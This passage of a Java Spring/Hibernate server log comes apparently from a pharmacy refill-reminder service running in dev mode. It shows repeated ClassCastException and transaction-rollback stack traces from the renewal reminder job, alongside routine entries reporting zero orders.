com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 17:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 17:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 17:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 17:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 17:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 17:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 17:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 17:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 17:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 17:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 17:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 17:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 17:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 17:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 17:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 17:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 17:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 17:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 17:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 17:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 17:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 17:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 17:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 17:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 17:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 17:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 17:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 17:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 17:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 17:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 17:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 17:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 17:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 17:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 17:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 17:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 17:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 17:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 17:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 17:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 17:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> 